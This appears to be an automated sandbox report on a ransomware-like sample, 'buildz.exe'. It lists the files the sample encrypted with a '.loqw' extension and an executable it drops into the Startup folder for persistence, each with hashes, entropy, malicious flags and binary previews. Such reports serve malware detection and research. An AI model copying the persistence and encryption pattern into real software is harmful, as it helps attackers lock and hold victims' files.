Malicious:	false
Reputation:	unknown
Preview:	<--Cr.j...i...%....X.k5..D.[..vS...?....#TI9..^H..tZk..X.<.#,..q......^4.O5..%....k4..e!.S.f..~.~=....M..-..lJ.#.....7..rQ.[....!_....PW.d....2......P..zF.........<t.{8.E.Rz;..j.m.,.?...`..D.6 ...?....(...^M..XB.E/.&_...W..>)...p.h.G..........._.8.u.....N...A_X.f$kS......$%M"<[3....h..f.-...........2...'.7&x>Q...$.b_+..u.i.l..........9..hX.J0..(.....pj.$...esv.Af........P.t...Z.A..F.=..>..>..\|...F\I/.....5.7.Cc..=...i.mal....%e]....Y.....j..N.u...$.............{G. .S.69>*5sm..f..<.f2+.>>=.m......DI..\....J..0<j....?7..........1.1Z>.J.u^.E..............{....a.B.j...U.j.:...J...v..........8...9........]..W..nE....8..f>;..D ..\.... .7.m.W.e..4.....A....9..G.....T#....D!N..D!..?^,..$..M5..KtWA..e.4L."..R..R..-R<)c....d..=.1..p.3.Tt.57@.8..@..lG.H..i..J..^....PTS...#i..#T#a6.@.wAR._.....+..R[..g..?w...7qq..)..^#.%l.W......)_.;....5.<.jf....U..2<Y..R........qu./6......5.Hd..F 0LR4....gmE..F..p...=~.-bi...m-..BM.K<.=.....)am...e.u..#..H..H.<.K.

C:\Users\user\Local Settings\Temp\crpassw.txt.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	363
Entropy (8bit):	7.3994505314252565
Encrypted:	false
SSDEEP:	6:T//AIZcasxyRQ0cfCSRGDEfv12Hh7cu/Y7+LPD4pyzjUSTGEIWyc3cii96Z:rJs+aCSRMEG7cufApgq11+cii9a
MD5:	8EE76C0A75A71DAB0ED3008970011C7B
SHA1:	9B5A856DD799D9480BC60E3BD500D61CB8AAFD09
SHA-256:	1D72E30AE36FB8F8C239465EDC1FCD7DD0B7792706D2F4E657F4B25E5AE0BC69
SHA-512:	BBAAA520A285DC2510866474FF268DC8060AFA88E96E8A1169F7E05616D0C1242FF7370D62CE03F238DD938EF7273719FDB8A80DBFC01D986EF427E7F441EBF4
Malicious:	false
Reputation:	unknown
Preview:	<--CrQ....z.....A.>:p....{U.._".?je..a..zo..hx....~.....U...{.M.Q.B..."3%.b.R.ja...2.&....!.....P... =..f..nD....\|].0...;.h......wU...P..ZK...M.4cyG.(.V..~...d.A..<r...v......]...$^/..R..Q.@..m.6....9.._V..!...uH..eO...r...G...v.KG...R[o..6.>3..]...'.GC7..<..#4?..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Temp\hardz.bmp.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	602502
Entropy (8bit):	3.176117391241852
Encrypted:	false
SSDEEP:	3072:566YkQ6aganHKB2QjSN/9W4V4A3LzakIP8uzvFPYAXCV3mHWLWW:I6YkQ7H6Qx9W4pLzaHzvN9KdWW
MD5:	1C179114E7309B0F779C2423B1247976
SHA1:	0FD443492F6ECAFEA20AAD059936C786B2EF2F0C
SHA-256:	3F25753C637517084E4A930DF447DB686085C92BDE7292C04B0BA7B428C498FA
SHA-512:	1914DA5A2D750F5EBCDF4DD82BCF830BDD51A2F9CBD58AB7D0082507B31AECC37D1148EF628390690A42445ABDA5CB5EEBE57D18F5709620200CA19B28E2D72A
Malicious:	false
Reputation:	unknown
Preview:	BM80...!.4.x......o....Xx...:.O..m.....I\|.....@........1..~.u".0.....tv...k7....A.......y.....h6_.I..B........TL...F.....z.2.9X..9...F..D.......0.......g...pD.x.`..g.#F.....]C.w...).0-.P.\.q(Ub...s......g.b.z.+..+...i2..f....bE..(c...'.K.P.......yj.m-..>....X....7?...2..x..J.S..sFN..q.(d_....&.....m...g.`....5hX.D..6z...h&..9V.Fv.`{3n..,`.p....)j...4}.]r..we.............k..J..(}...^.\]...P.lz..IZ]......pV.w.......<.........J... ...<$".K.iQ.T...,.\|h.O4.=...&.......5....,3../....s.d.qU..`..,.......U..!.8....+..u4...9...xum...y..wP`....m..C.i...2...T..%6...o."vpf;.\}....`8..GYG....0.eu.&~..pci.7..pV...6pO.\..y.~....w3...F.egl..#..!..Nx.C.=.H0.....@.h....{"....y...l..q8...3%..-.'.;.xF...,Y.>Z7.$.D....p)M.J......f q.....?..C..!._w..T.......+x...._.....2..@..n..%..6..<8..G%x{FLF6.}.......Z^..}...Y....pX..E.....U&...F./....eV..R...G'qO.g8.H.K....0.".... .[.1...9..^...`....7.+.r..oWf..\|..............h.4\/.~...r@Do...e7..0x.L.].

C:\Users\user\Local Settings\Temp\user.bmp.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	602502
Entropy (8bit):	3.1756790804216455
Encrypted:	false
SSDEEP:	3072:MXWEv9rXadtAyqt/h8ge0AOFeYpL1rLhUmpBCiGssFt7Qva:MmElrgAzp8geUtrLpjGssFt7Qva
MD5:	658319E1E6C8CA37AE87742393D58460
SHA1:	97545C4BD97F45A97375E0FCD40F76F2A4B76A9F
SHA-256:	037F0A2AA45D2E9E9B70D10DCC2264E86BF7676D6B0FDC128F8A425ADA63CD28
SHA-512:	A7ADA9E81F6D8BF2BA702A024A2D321DB1E5D938DF0863244EAB3C2666EAF1E58ECA91A727F1DA33B58D10584B0F20F930F82F7A0FF09A6A35FD982CFB7170DC
Malicious:	false
Reputation:	unknown
Preview:	BM80...(.........'.-\|.'."....$>..Y..,.}.....#&47.,.gv..`?.....Qe.{.I...U.{.G..W..R....O.<.DF.a/.@l-..]...."..(r.<%....X.QX...v.PL-.......ij.lM....Hr..J.t...$ .%=.l....W,.;.......y.V]...c.....wR.....y(.....s..'s.`..Y:.X..........?.Tp/l......y?4.7..9:.2S=ER3..k.[..............x.\/....K.O<X..<.CL..%<.j1.Q..L.@...k-Z.....%...q.IS...'=cP4+..W....V.O.Cr\.:...7.......+....?G.....x{H.~.[..5.y...\..@..!.J. ..........d......-.m....=.H...l.E.X...P....(.'...2......d.w..E4.4.t...%l.0.!..a......>.xf...A.Y]..]..>................C.7I.m....>/>.............r....d.L....+/..."6...7...R.'s.L%7N.;Sx.}[.`..ZFR.r..H.0&. {d..:..#.0....r.....q...e..r....ZUR8.I...E......p.........P.3..a...4..~....h..J....G.R..-=.....}...`..w....-o.uq.8.A.q.s..?...y..(y~J7..9..Z.I<nG..i.f....@W..0......... D`..3....(.v...r.\.H}.k..."@#sS..J..t..=p...q[U..H...E....bR.7H.S}h..=.CK.9....\|M.=7=...kC\..uC).......Y-h..vS$@..&..lg.k(...K;..v....P......./..j+q'.8../.7..A.......ka.l....(

C:\Users\user\Local Settings\Temp\jusched.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4406
Entropy (8bit):	7.962530801296249
Encrypted:	false
SSDEEP:	96:oxdVHI+zuqVKjxP5O3fdwN26fo6icfKwchHI3vyScfWU4k/WYE1th:6dIh9xO3mNZGcGRo614k/WYEt
MD5:	C0762545C40A8677EFF405B829D887DC
SHA1:	9332B39185787B6DE7EB7E5CAF421D1736FC3F10
SHA-256:	A894DF0730EA51D28234BFF26757865716F8EBCAEE7A7227FB33380953C76BD6
SHA-512:	369AC94C01D3996846FE73E667C2C096CE570F7379D2F669BD9056C88B89177C0115A9C591A7DC152790B9821A069E3A52D735560DFE5DDC897A153C41F06A80
Malicious:	false
Reputation:	unknown
Preview:	[2023....Q..&?}(V#\|.O...D.G.e..=.k.,..d.Zg%.(.3y .}U..t.Xy..}1.i.:...w.............3.$0.F...........q..H.w.r.y...9Y...Vz.!).N...RJ?$F..r.X.....-.V....E..m.........-...2.-.....g...f\.^y.[.X..;...7$..=...(q;&..-J..s_....mD.u9C.6....o...M...XH(.1/.K.b.I.\M.n.[M.........Z..I'-.A........u,..L....M.k...s.D.....{....z....W...hq.q..Fn;/.\|.......O..Sd-...h..._..P..A_..<X..1...v...g]J.&.9...... .`...*,...p.>p.AX....U........."`....V..>"Z"M.o.h.....x.E".S.V\.\|......r.=..W.s.CE;.....&...B..S..6.n.........D...@....qi......c.v..B.M{.H?..<l1..(..V^..=@.8.....w.......]..o2..`q.[dR.O}...W.P....aZ..p.P].9...4.....dE.....y=]..`9.".RI..tSmT,..........m.oW. ...s.4..UZ.{p..(.6...\|.w..W<7v.`g....{?.Nm.9..T.kU..m.pti:...e..-.H.L}<.^....xo9~..#.T..............v@F..r\....4!.k'..B.~td..].}...atQ..6.B.j.y....ve....).........f...W.n%.........t...p......q...x./...).N.F.7.NI....;.$@E"..Z....UP2..<.D.d..:.....e...nT.h..C...qF..f.']....~..!.....@..@.U....8.....)..

C:\Users\user\Local Settings\Temp\msedge_installer.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	22093
Entropy (8bit):	7.992682931459751
Encrypted:	true
SSDEEP:	384:XeR29vZIJ8w6mG//ZTab+rODPINrPF1XJcYi5pKX0RYxoMH:XeRarw6mDEQPIN51XOHU
MD5:	D717216CD113C3586635E75BF9EB0F14
SHA1:	D4CE6002924625D186BEFD472AFD0E3848926472
SHA-256:	9C442D8AD9AC1A6050FF53E28ADBC62E46BDF508A59CB6430AED75D60B05932C
SHA-512:	E9BED4F09D1EFFBB370EF5D9CDC223CE15398359ED32C39D0487D89534EAA38A24EEBF5537C5DE6F156FB036B1EFA80DB4D930DF38A471E2267248D4D3E78A4A
Malicious:	true
Reputation:	unknown
Preview:	[4004...........#.Z1...8....X.n.,..(C.c}...'..HH/...B....1..:...N....S....x..r.a...O..aU..D.,.9......`Zr1..........^@..L.t.1+N......y7.`........T...#..]..T.J.-....WL....4.m....h8.S....Q...wH........c`6......^'Y.J...b......##:GS...#.."B..ydl.$.o..MH.._U.,.Sb..pJ...:..._+........4U..U..zp9....X.....!h......../.5.....`.-.e.).ccB,U......t...k.A...........j.{f...E.,..>.;&Pl\.>.P3D.@Z.@._..z1.H.ocL..{..E.(........mW9iT...s*.#6.L.=....c:-...$93;.$....l.E:.>3.C..!.Pe~.....Kq.L\P.q,VX%.6<qf.e<.q..."...ie.<........I...5...x..?..~.."cs:r.M- ......`$.....{P.....Z.~.4b..........al..Lv....Z.'c.'G..k_W....j.o.!.....3[.b..UE~.Lu..7......#....d-)....aR~D.......l$.{....dq.O3..\\|...1i.%..F..0.........m..08za..+L.....bU..c.....0.......j.0H.!.h8X...Nno..-...lk.:.YK...(~J\|....._.Aw.}.5.<....^.i..;nvl.\|<.uf....Y=..2....0...n......_.,Q{# .$H%Ks...........^..8 .......t..t(L...!zO........~.2..._. .."...9.....^r=../..Q..v.pt.`...=m..R.F.@...~.-.....;m..

C:\Users\user\Local Settings\Temp\offline.session64.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.997243057786243
Encrypted:	true
SSDEEP:	1536:dTCK5PcTh8HcICQZXAV5riNTpfecs4vSR5TnIccvJ/EHSs+1:F5Py+chyQW5sd46vn/cB/Xl1
MD5:	A6F51FA827CF03F70AF7528C35FB56AA
SHA1:	3FC0660E7799963C7CA6F0D5833C2939DFD37A9F
SHA-256:	250B0303782026B49ECEDBE808DED26902F1980825D80EC0F89ECDC609AC57D5
SHA-512:	8824C36F1C1A5B89481E534E0657B1B3F9F3743209DB6E3FB5634ECF5638047FE6A4072610DD49C6F30496C3881E624FB42C0024DAE484FB1CFB53006CDA0D4E
Malicious:	true
Reputation:	unknown
Preview:	1G.f...N.....M.@O.I!.%.d.A.!...\.......!s...=19...Us.....aX...@.W..%...?.+D...K.-F.[...9.(..v%..mMB;.T...]l...3...xC..qe.....,.......F:...D..Ayk..o.....O.8.ON.3.k.sc$........{3.;o..eNM.uD...QR...!......\.tu.....M.$.......&8...HJ6G@B..4`..R=..8..I"..+p.".S!ee..}.M.mf...$Y.UJ...o.7.I..!....w2...rD._..m.d.....'..m..2(E.z...#.]...Dp...b.......F......R`...\8s......_i.V6....(a..M.ty.M..n.S.3../...:...........u8.G..#..36.$,V..m$...e...a.V...r.z...b.F].uvh...'L......{.ER..`bo.V.D.B.....Q.R..3..c<...R..K.Tl.."..-.T......f1.....4I.Y..!;.....hu...X...t..1.^....G.N..c.N8..Z.2a.w.O'..Fi.........Q.^LM,P...2.X\|/..P.s.T.G_..../.'r......g....!..r..Z..FmY.....a.z..Z...FI..o.....#...}..i4...~g.(.[pv....d.{..<2.5...$e%.k....G.U.S........'.....q..;.`.8.&h......P...7.S..m.=Yi......*.vZ$..[!.3.k.$K..."..m.r.x.h......!.<W].Z..(.mE.(.....r.[ad.@......boO..^n.a9M...5g..{uf.......G.xs.....LCN...p.....,3......v:..V~...e.....N...p....#~..M..e..........hP.l&p.

C:\Users\user\Local Settings\Temp\prep_Form_JSI_API_not_a_real_file_V8_perf.cache.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1045
Entropy (8bit):	7.782459958320747
Encrypted:	false
SSDEEP:	24:yQ/2wf/AfH4TJ1yGXPjzuW1ULlGkmSCjbML/uGXWL7AXKXzdLCdzbD:yQ/2wf/AfH4Xy451UJVcwnA7PWdnD
MD5:	5CC8E49B355C83C0D8C26A86A0E64D7A
SHA1:	77C14F851C7DB5DF369B40F3BC97F264D786E7BE
SHA-256:	3120B5A55EEFC9D1AC4E4C8C0B418F0F511AFBC1326DF7A69294B1702BBDAF82
SHA-512:	737298ACCDADEA00CF5395EDA05957D63F1A5A339AA4D1EE2C9E3075778C71DDDF1274D305723F515B463A1282502737403DBBE8955C38AB39B72A472014E50C
Malicious:	false
Reputation:	unknown
Preview:	RNWPR.]6..F....r.L.....u.V0..=z?..1@....L._3.. U....nJ.."...%x..w.....\|......x...C.)..~.+B.\T..'..v...>G.\....P...$.?........Dxo#o.};.a)N.........,.$e.$#...R....N....V...F.X.....N....s..n.B..H.$k.!../D.....h........+..7.@.........Pi...<.e...a.:..PWE...V..Q..g...i....t.,....Z..(.... 9_..{!h......Lb.H.Jm.Nc.=....k..T.q.......1.8.%.._.L....;.+.h.]O$?.....Yo.g.. ........h.."..aq.=9..%.-.......{..Zo\.'./M...;tL.oA.........8v.V...aa..t....Q/.O'..d\|m.}.L.)c.T.V.B.\.9.\|....r....\l.?.K... 7..^mb.\..F......d_...j`N.Ctv.LR-.....q%~e..W..vF{...s_T...;g..s........8.....!.u..[;.E..GeL.Irs9.^]V"...x..s..B"R...E......9.3.?Q..'.b&wQ...Xn.7.Mxx.u...l.^.~.0...e...d^.).....7....R.%.#7.lB~>s.).a37....3.PaM.{=l....J5JwE.p.....B....X...Z%eZ..L.....@K.2k.....qrJ..:9..7...........}.....S'DP....\..P..-.h..q...!...HV.u..0..).IgB!..D..W.j.........P.:.>KL..3.. .......o......o...o.a.l:.......z.B..x.$.L^..>.e...<\|....n....8.....%ASLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLI

C:\Users\user\Local Settings\Temp\prep_foundation_win32_bundle_V8_perf.cache.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	662049
Entropy (8bit):	6.820432596392454
Encrypted:	false
SSDEEP:	6144:J/oz7mJTW6nUxYOwdszC2l6TvpvQiifjhsLT3DZePTVakbYwsqVhKXHgjSDhF3kS:J/oz7SnAYC2+6TBQiee/t4P+qVKTp1
MD5:	3D334137160A991B95537F3DEE1AC8A7
SHA1:	14302BCC16D9C6F20A67A3DF813ABCBC231422AF
SHA-256:	E34C0BBF7D584E9DEDB209C6951CBF6736D47D324627DB00558558E3D63151A3
SHA-512:	38BB26FB077BA8E2B54E094EF0EFF3EF16E3623AFB94EE0D644C0C0422B56B207D1DD208A117C26C06DB80515AD3B73A3B2C82A046A05A6B65032E014437E24E
Malicious:	false
Reputation:	unknown
Preview:	RNWPR-Uh.....(...O.....Q..K.?..............Y.':..R/!.....'.7K.8.C.5.0.=..U....R.=G..tQ.?...bP..j\.r.r.7...K.....-x.)e.}.My-38.+..............\|...G.~:.F.?{..C..&.S..x..,.c.&.#..`.A......G."jz.(..l...F3.L=Q.+...S<.^.A.....R......s..s..~\|m.2.6.M.D~9.......I(.....)....i...j.........p....jbkJ..}I.b..y.......Z!.x."...W.<...B4..\+....._-..r..\..T....?n.^..8......{.Z.Nf.........\|....C9.O../&.I..#.\|.....d.....dj...p.T1....F3.4.]../@....$..N..U.....Y..v.'e....u...6..p...\.[.o.1....I..{...-....Q...`0......./i...^X........%C.%Q..T..L.?.N.2..!..Y....T"=....x....<).......#.8...ov......$(S.....N...i.\|\.).2V..RxrD.[.~s[.......'...kS?..I..O.O...cX.Y2b....u.!.Q...t........O.o.Sl.K....#..qp..(....G....,...I.F..5x.u......&c...Z.aW..........&...8_......T.-..r....RE....}.}%...vKf.h.....k.U.......[.}.A.B.b...f2..I,...k.....gy?....w...:.}...w.....+w..:.9K^...`m..0...K..M...S.W1.;.....KP....A\|y.5...\...F.U.<P.....6~L..J.G..~okb..{.GjuO...-.s.D.z...

C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\3D003UC5\e0cbefcb1af40c7d4aff4aca26621a98[1].exe.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	4338910
Entropy (8bit):	7.989769706673282
Encrypted:	false
SSDEEP:	98304:8y0kq9Je9lk1ARKjbS3C1HJVslJSsnJf7SwBskqU:8tkq9Je94jALJ+iskx
MD5:	5C3B6245E6888CCCFD3EAF36285E29E2
SHA1:	60885E5F4A6924CD2E428F6A1B9756B7C9D46D0D
SHA-256:	BAFA6D729095AB38CD4DA1346D9CAE3A746568BE03A20197008EEF4F5F4C4BBB
SHA-512:	55424F8A4278E65145E9637D4A44C487BE481EFE4E4EAE1CEF1FCB7F5849E52FAB62436E7DD05853F59114AE5E2FC81A7AEBE26E208692CCE83386A5925CA9E3
Malicious:	true
Reputation:	unknown
Preview:	MZ....P5T.f..........[...`r....k...I..QQ\.n".=$yX....-l.....)?.w.<.)...C....%Z.%.!..B.g.F....h.)...y.9q...=H]c.C..U.j.P....2.5......MF%,./.v.#@..(N3vu...v.o..)L...^L........f.....?7.....f........U.%...5..w..<.....tB.M..^.di..I.........C.......g....:.!z.Z....@W..n..O....A.....H..{.S.0Pa.-G....{.........+..m4..%.!<...[.u.s......_....;.~qaB\.e.[jx.l.z9.q....!...........(.Cgc.Sb'........T.2......@.......`2.....3...96.Pq.'...UJ.._.....G0.3.....6...'.. hPT..'.U.$..Y=..mu.U,)..H.h...h.........Y3g.\|...}^.....Ob.J...]~...._..7+.d;w..U.6.,\|...U..M.fM..[......E......R..z_......S...X..b?./..............5..o.[.^...[...Lrn.9.E.h2a..1...K.?..b?QO8}..H_..q..h.~.:L....:$...m...a&..M..I!...}Oj.....^E....V..n#^c..(s.G...m.7.E.C...3+..(.d:.IDeD.Y.og@K.F...i.@[.....!-?...{..3......[r..DW\0.L!.<.kN..C.$B...:$.....V...)....:.P.....%.E...rBfi.4.....9...l..../..4z...9.mD.3.@X.....<...'...e..h.t.B..E/y..va....w..6g4R#ZczC......3.].5..o......1.{..{.

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1002}-.searchconnector-ms

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.827333570833252
Encrypted:	false
SSDEEP:	24:0ygMvjwFnfgej/uV79pWf9V8ziB7H/SIF0AnAAdYIPzDbeo1QI/dqObD:DjwFnoejO7Ly9Wuh/SbAnBXPzDbeo1Bd
MD5:	AAEFE90A28F40B8344EB2788C5700BF0
SHA1:	9083198F175A94D8AD39732289FC6A7156ECD54F
SHA-256:	8BBD5444FB9DC1A7D2E25EC6A40DFC611A6ACA61B993A0725E8A40A72D73AB18
SHA-512:	84B6045012213A0063A92D7864DC35780B55B60F0E76D0C0846464252F4F30046115753C5490B84329268B0B4793A1D6AA87C853EBCB5A76C6315BE981556E36
Malicious:	false
Reputation:	unknown
Preview:	<?xml.Ak......w.T.P7...x."....<.#.T.=..o`.....i...?..s.M....R....%.~...!..U.......3...c...@.a...+...]....&...K....TvE...`....../..1p...vq...D^9J.....jJ....$.R..1M.{..f.4z~......9....C>.L..#.9J.._I..i.K...E....e.........9..8.{.e...T...D.z......'...iA..C$..NS.?b.....~._{F^.y.Rf..i.X.N(....p....O..C...Xf.....'... .B....R..m.'...D.V..Y.......}.....~.:9+.8.m....E).hq..G.F.[k.'..u...M.._.y.p.+P.[(.D(q./ .&.;....%Sj.G.PJ`J..h.YA...._"..w=A0.!.M..-..B..V..8..i...Q.....e)M.~&..G.{BFf..OA;j....\.....Fd......J...=...\|...6...c..s.}.R..K._i.9h....~ha_wu..\9t....n....[..&....4..M..(........5....`.....+..D.....w}!.w....1....:...x.a...c....\|..TP.vE...G...(.3R))...Q01k.i!.z..)p#P>+i...].....u.g<3VQR.j...x.R{.n.9.PE.h..o..Q-l...).#...n%..v..>.m..W...#..<B. j.U-....aq.......).bw.]n.,.."s...c......$.t".E[().....B$.s\|>....&?(\|...'..j0....Pj..g[#.\....!..5.[RI]x.....R>3O...v..%,.ojz...F.o. w..!..xg.....4..a.........pX..t..S..ek..\|.P...J....v..

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1002}-.searchconnector-ms.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.827333570833252
Encrypted:	false
SSDEEP:	24:0ygMvjwFnfgej/uV79pWf9V8ziB7H/SIF0AnAAdYIPzDbeo1QI/dqObD:DjwFnoejO7Ly9Wuh/SbAnBXPzDbeo1Bd
MD5:	AAEFE90A28F40B8344EB2788C5700BF0
SHA1:	9083198F175A94D8AD39732289FC6A7156ECD54F
SHA-256:	8BBD5444FB9DC1A7D2E25EC6A40DFC611A6ACA61B993A0725E8A40A72D73AB18
SHA-512:	84B6045012213A0063A92D7864DC35780B55B60F0E76D0C0846464252F4F30046115753C5490B84329268B0B4793A1D6AA87C853EBCB5A76C6315BE981556E36
Malicious:	false
Reputation:	unknown
Preview:	<?xml.Ak......w.T.P7...x."....<.#.T.=..o`.....i...?..s.M....R....%.~...!..U.......3...c...@.a...+...]....&...K....TvE...`....../..1p...vq...D^9J.....jJ....$.R..1M.{..f.4z~......9....C>.L..#.9J.._I..i.K...E....e.........9..8.{.e...T...D.z......'...iA..C$..NS.?b.....~._{F^.y.Rf..i.X.N(....p....O..C...Xf.....'... .B....R..m.'...D.V..Y.......}.....~.:9+.8.m....E).hq..G.F.[k.'..u...M.._.y.p.+P.[(.D(q./ .&.;....%Sj.G.PJ`J..h.YA...._"..w=A0.!.M..-..B..V..8..i...Q.....e)M.~&..G.{BFf..OA;j....\.....Fd......J...=...\|...6...c..s.}.R..K._i.9h....~ha_wu..\9t....n....[..&....4..M..(........5....`.....+..D.....w}!.w....1....:...x.a...c....\|..TP.vE...G...(.3R))...Q01k.i!.z..)p#P>+i...].....u.g<3VQR.j...x.R{.n.9.PE.h..o..Q-l...).#...n%..v..>.m..W...#..<B. j.U-....aq.......).bw.]n.,.."s...c......$.t".E[().....B$.s\|>....&?(\|...'..j0....Pj..g[#.\....!..5.[RI]x.....R>3O...v..%,.ojz...F.o. w..!..xg.....4..a.........pX..t..S..ek..\|.P...J....v..

C:\Users\user\SendTo\Bluetooth File Transfer.LNK.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1383
Entropy (8bit):	7.85421318482591
Encrypted:	false
SSDEEP:	24:rECJYXWidhvWFqVfJN594k69K6o0WsyAaG8+0WThacD/S6N/joJerGRtCkTOatp+:bJpi3r59ScDWThe6NCerGRpOatpmD
MD5:	BA9DC568F6DD916C57416449F71D0F0B
SHA1:	5717A4A2BC512E5522FEFCAF8EACE58E2D72CA1A
SHA-256:	98334EB7759766D50EF78F1F4AEDD70C05B01C780650646BCC648719E8D781B6
SHA-512:	BBCA7D04A21E676E75EDF630A01A35852DE2BB1297F7CD9BB5EBBBBA343B34FFFB4412539D576CF1258D855863DAAB44CF5E24BA63D600D1E3E69A584766881E
Malicious:	false
Reputation:	unknown
Preview:	L....Z.I....&e...u.>.(.O....N7....5\|{S..!.D).p~..3.....d`.5.s'..%..'.6.I...b<...L.}..XA....DU>...G...Uu.hD)..e..pJ......=.E)sK.V..6.a.?./zQ..+...A...<...O}1.it....O.......}.^..B.X....Q..m.n..~....-....h.9..v...DX..{..F./.N...E._c.~.&!.....Y.)u.:.UD..D......rst.9..c.._..&.=..rKn..`..n.y.Cd.a...,/...{\|o..B.s...._U&..P...M\|.9....C...<.0C..\|7.N...e...>A.....:hJ..?....1vR...:..`G.}~.656....s..)\......i~<K..`BJ.?E..[~@...UK[N.+......i..Hz.H.aR.E.;.......{..4......~..x._.~.k.AAB.c.4....0y.....^..xj.....%v{.......[.a..X.{3/..]....Vr...j..4.6.[-.1.F..0?T.i...Gi.@.v.}.9.^.L....-.B.p..9.ul.Fpf:q`.f<&,..V...c./....`.1...0Y..,..5.?...{4...4...A.&....@.*z.MB.+....%RO?-..Aq..5V....LhC.7..[.(.).._.-.... .i...I..].#.....I..6....../..D...S..Ww..7..d9N.^...X+....[.'.....L.[......$.A..>.MI..7K.Y;Hq!.&....&.s.2....S...'9.....y. ZL...s...s.J....UO.:zWc..R...H...g...a..;).f..Tl..\....qc.uL$.\|.(...Oa...M66.at..:.RA:.q..y,v..b].......Ky7....Q...q.XW.xZ/..T..>O.%wp

C:\Users\user\SendTo\Desktop (create shortcut).DeskLink.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	341
Entropy (8bit):	7.278187892564458
Encrypted:	false
SSDEEP:	6:b+p4RbeyYvtN6T1A9KmgCtnhhsJtVVi/1yGO9E5Lk7pDgsl7SOSjQtfWyc3cii9a:S4eyYlN41YKJqCi/4rEO7xpPQQtf1+cq
MD5:	8A7265D31E6D6705D3B3D70F654A37AF
SHA1:	BC23AEEB69EDADD0EA1260646007BE9CF2BD7026
SHA-256:	C3D9B6AF033680EB1AB5A09360D8F2C8D9575F9AAC387A90C44079F65CF00BB2
SHA-512:	D840D2FE62C23B661500E610B6EDD5354AEDEF8F06C39F10182442E1411A881883237A5DBEED48B3A6A5CBC27A5D008B23FDC9AEE5D7FBDCEE2B168D9A1CDC66
Malicious:	false
Reputation:	unknown
Preview:	deskt.......].%.EI..{+.........dg.....+..}IF......z......h..nN.e......'.SS.VFbM]..HZ..F...`#.P........&..\|.3..Z[..D.v.$UI./.(....b..T.Y.Z.....8r.b.....7.8....Z...yH*a.Q(.0.L).:.iO.....i...q....GJ..}n`.-.=q4.~.....$.......Ua...F....9.{......N.C.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Start Menu\Programs\Startup\Creal.exe.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	13816190
Entropy (8bit):	7.9974450304456095
Encrypted:	true
SSDEEP:	393216:eiIE7YoSD2nwW+eGQRIMTozGxu8C0ibfz6e57Z1bmXdWCUIi:f7rSDawW+e5R5oztZ026e5DkVUIi
MD5:	FE78CCD110CD409B0E305C91FA55A07B
SHA1:	6BA7438448FC9609973052E3DDBAF75C7C637F23
SHA-256:	A352CC3F5D2A31433CC809993761428B632446523C69ADE99D25A7EDE302EF41
SHA-512:	B5B7B86B515D06242BD2937F10B4F7E9CB09ED5281281F795D2EB4BA44DF6E8FA2C043F910C9EE7D4CF0A8C1AB8F226BA4E79AED511355F1ADFF1F2DA5CC64C0
Malicious:	true
Reputation:	unknown
Preview:	MZ....S.k].......2.g.xGlS.g]'\..\|\.Xt..3.e....]D..J^.Q.D...#Q..8..T%B....mY.d.M..~c.;.(...&.X.L...oC..5.....P#..9.....SB..~..d6..iBW.m....\|..L.i.U.$rH.<.u.H...[...f..x..h6..q.i?]......5.h.0..{.N...D..::Q0.._.6'..B.a<...V..N........+.g..?...0... .j..$Ka .>...Cm.`@N..y.s...OZ^..FG..H...Jfoem.&.Ps4.mo.....%..~....-;..;?9...%......{..p~qY....S.s...._.4........r....xT.!....2....~Paz........~\|..q.2.........lUh&fu...vz......sO..%P-..[.).).....A..B..n...h.R....o._L.Y.7.....Z.._$......._&..Ka..!{..}q....8M.c.@...A.......vzTA..X....l..xv=x.7..jG..........5...K_.>..<...Vg..e..-.S.=D.....p..k.t..qw..Xn...S$.P%..VL.4.$...8...J.u...H..T.......=...nA.........B.fE..l..\|...,...v...~g..K.@.y..n.eW."..{..u.).ot.Ex.!l...J%...\s.b...e..B...O.......S..J..2&om..W.......&..P.>[%.x.....n....N.....iq....}s:.w-=..b..+O$.W>f.m.0.s...f..j...YVj.`h..Z.....Z..z.!o..O..........E....H... ....z'..x.^.....t.O.66.<.^.8.[..Z.Q.(..,...^....k...Rf>....2.MY5.;

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

